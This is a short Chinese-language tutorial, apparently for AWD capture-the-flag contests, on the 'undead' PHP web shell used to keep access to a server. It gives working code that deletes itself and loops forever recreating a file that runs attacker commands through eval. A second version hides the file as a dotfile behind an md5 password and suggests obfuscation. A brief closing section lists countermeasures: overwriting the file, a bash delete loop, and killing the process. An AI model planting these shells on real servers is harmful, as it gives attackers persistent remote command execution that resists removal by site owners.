借鉴文章
不死马常用于AWD模式,用于权限维持,首先上传一个不死马,然后访问该页面,就会执行不死马,它会以进程的形式运行,不断的生成文件,即使被发现也不容易被删掉,同时注意上传的目录是否有权限
不死马
<?php set_time_limit(0); //PHP脚本限制了执行时间,set_time_limit(0)设置一个脚本的执行时间为无限长 ignore_user_abort(1); //ignore_user_abort如果设置为 TRUE,则忽略与用户的断开,脚本将继续运行。 unlink(__FILE__); //删除自身 while(1) {
file_put_contents('./shell.php','<?php @eval($_GET[cmd]);?>'); //创建shell.php sleep(0); //间隔时间 } ?>
上传之后,访问该页面,就会不断生成shell.php,我们就直接可以利用shell.php
同时为了防止被其他人利用,可以进行修改,用md5验证,或者其他利用方法验证,只要不让其他人搭顺风车就可以,在文件前面加个点在Linux系统中变成隐藏文件,以用来隐蔽自己,当然也可以用其他编码或者其他方法来混淆代码,让其他人看不出来或无法直接利用
<?php ignore_user_abort(true); set_time_limit(0); unlink(__FILE__); $file = '.shell.php'; $code = '<?php if(md5($_GET["passwd"])=="76a2173be6393254e72ffa4d6df1030a"){@eval($_REQUEST[cmd]);} ?>'; while (1){ file_put_contents($file,$code); usleep(5000); } ?>
这样就可以直接利用URL传参.shell.php?passwd=passwd&cmd=你要执行的命令; 或者利用菜刀
被中了不死马怎么办,最简单的是重启服务器,然后删掉木马文件,但大多比赛无法重启服务的权限,不过可以通过不断向木马文件复写来克制,前提是写入速度要大于不死马的生成速度
<?php set_time_limit(0); ignore_user_abort(true); unlink(__FILE__); while(1) { file_put_contents('./shell.php','11111'); usleep(0); } ?>
也可以用bash不断的删除文件
#!/bin/bash while : ;do rm -rf .shell.php; done;
或者不断的删除程序和杀进程
<?php while (1) { $pid=xxx; @unlink('shell.php'); exec('kill -9 $pid'); } ?>